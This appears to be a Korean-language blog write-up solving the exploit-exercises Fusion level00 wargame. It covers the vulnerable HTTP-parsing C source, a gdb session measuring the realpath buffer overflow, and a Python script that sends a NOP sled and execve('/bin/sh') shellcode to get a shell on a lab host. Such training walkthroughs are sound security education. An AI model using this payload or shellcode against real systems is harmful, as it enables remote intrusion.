Wargame/exploit-exercises

[exploit-exercises] fusion level00

bbolmin 2014. 4. 18. 15:39


[ fusion level00 ]



 1#include "../common/common.c"  
 2
 3int fix_path(char *path)
 4{
 5  char resolved[128];
 6  
 7  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 8  strcpy(path, resolved);
 9}
10
11char *parse_http_request()
12{
13  char buffer[1024];
14  char *path;
15  char *q;
16
17  printf("[debug] buffer is at 0x%08x :-)\n", buffer);
18
19  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
20  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
21
22  path = &buffer[4];
23  q = strchr(path, ' ');
24  if(! q) errx(0, "No protocol version specified");
25  *q++ = 0;
26  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
27
28  fix_path(path);
29
30  printf("trying to access %s\n", path);
31
32  return path;
33}
34
35int main(int argc, char **argv, char **envp)
36{
37  int fd;
38  char *p;
39
40  background_process(NAME, UID, GID);  
41  fd = serve_forever(PORT);
42  set_io(fd);
43
44  parse_http_request();  
45}


char buffer[1024]인 메모리에 sizeof(buffer)만큼 read한다.

처음 13byte는 "GET  HTTP/1.1"가 되도록 검사하고 fix_path함수를 호출한다.

realpath(path, resolved) 부분에서 path 배열의 값을 절대경로로 변환하여 resolved 배열에 복사하는 역할을 한다.

이때 1024byte의 path 배열을  128byte짜리 resolved 배열에 복사하려니 overflow가 발생한다.


resolved에서 ret까지의 거리를 정확히 구하기 위해서 gdb를 사용한다.

디버깅하는 방법은 : http://wisedier.tistory.com/89 을 참고했다.


$gdb -q -p `pgrep level00`

먼저 serve_forever에서 fork()하여 실제로 fix_path를 수행하는 프로세스는 자식 프로세스이므로 gdb에서 자식 프로세스를 디버깅하도록 설정해 주어야 한다.


(gdb) set follow-fork-mode child

(gdb) disass fix_path

Dump of assembler code for function fix_path:

   0x08049815 <+0>:     push   %ebp

   0x08049816 <+1>:     mov    %esp,%ebp

   0x08049818 <+3>:     sub    $0x98,%esp

   0x0804981e <+9>:     mov    0x8(%ebp),%eax

   0x08049821 <+12>:    lea    -0x88(%ebp),%edx

   0x08049827 <+18>:    mov    %edx,0x4(%esp)

   0x0804982b <+22>:    mov    %eax,(%esp)

   0x0804982e <+25>:    call   0x8048a20 <realpath@plt>

   0x08049833 <+30>:    test   %eax,%eax

   0x08049835 <+32>:    jne    0x804983e <fix_path+41>

   0x08049837 <+34>:    mov    $0x1,%eax

   0x0804983c <+39>:    jmp    0x8049853 <fix_path+62>

   0x0804983e <+41>:    lea    -0x88(%ebp),%eax

   0x08049844 <+47>:    mov    %eax,0x4(%esp)

   0x08049848 <+51>:    mov    0x8(%ebp),%eax

   0x0804984b <+54>:    mov    %eax,(%esp)

   0x0804984e <+57>:    call   0x80489a0 <strcpy@plt>

   0x08049853 <+62>:    leave

   0x08049854 <+63>:    ret

End of assembler dump.

(gdb) b *0x0804982e

Breakpoint 1 at 0x804982e: file level00/level00.c, line 7.

(gdb) b *0x08049833

Breakpoint 2 at 0x8049833: file level00/level00.c, line 7.

(gdb) c

Continuing.

# 128byte의 'a'문자열을 보낸 후


[New process 1916]

[Switching to process 1916]


Breakpoint 1, 0x0804982e in fix_path (path=0xbfddfd1c 'a' <repeats 128 times>) at level00/level00.c:7

7       level00/level00.c: No such file or directory.

        in level00/level00.c

(gdb) x/4i $eip

=> 0x804982e <fix_path+25>:     call   0x8048a20 <realpath@plt>

   0x8049833 <fix_path+30>:     test   %eax,%eax

   0x8049835 <fix_path+32>:     jne    0x804983e <fix_path+41>

   0x8049837 <fix_path+34>:     mov    $0x1,%eax

(gdb) x/4x $esp

0xbfddfc60:     0xbfddfd1c      0xbfddfc70      0x000003f3      0x00000200

(gdb) x/10x 0xbfddfd1c        # 1024byte의 buffer 배열

0xbfddfd1c:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfd2c:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfd3c:     0x61616161      0x61616161

(gdb) x/10x 0xbfddfc70        # 128byte의 resolved 배열

0xbfddfc70:     0xb75b0d20      0x00010101      0xb774f58c      0xb75b6dc0

0xbfddfc80:     0xb7733858      0x00000000      0x00000000      0x00000001

0xbfddfc90:     0x000000f3      0xffffffff


(gdb) n


Breakpoint 2, 0x08049833 in fix_path (path=0xbfddfd1c 'a' <repeats 128 times>) at level00/level00.c:7

7       in level00/level00.c

(gdb) x/50x 0xbfddfc70

0xbfddfc70:     0x6161612f      0x61616161      0x61616161      0x61616161

0xbfddfc80:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfc90:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfca0:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfcb0:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfcc0:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfcd0:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfce0:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfcf0:     0xbfdd0061      0xb7754918      0xbfde0128      0x08049970

0xbfddfd00:     0xbfddfd1c      0x00000020      0x00000004      0x00000000

0xbfddfd10:     0x001761e4      0xbfddfda0      0x20544547      0x61616161

0xbfddfd20:     0x61616161      0x61616161      0x61616161      0x61616161

0xbfddfd30:     0x61616161      0x61616161

(gdb)



128byte의 'a'문자열 다음 11byte의 dummy값 이후에 리턴 값이 존재한다.




[ payload ]


[ 139 dummy ] [ret] [ nop * 100] [ shellcode ] [ 'HTTP/1.1' ]



from socket import socket, AF_INET, SOCK_STREAM

import struct


HOST = '192.168.11.138'

PORT = 20000


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))


#execve('/bin/sh')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'


payload = 'GET '           #4byte

payload += 'a'*139      #&buffer[4]

payload += struct.pack('<I', 0xbfddfd18+len(payload)+50)

payload += '\x90'*100 + shellcode

payload += ' HTTP/1.1'  #9byte


print s.recv(1000)

s.send(payload + '\n')


sock_cmd(s)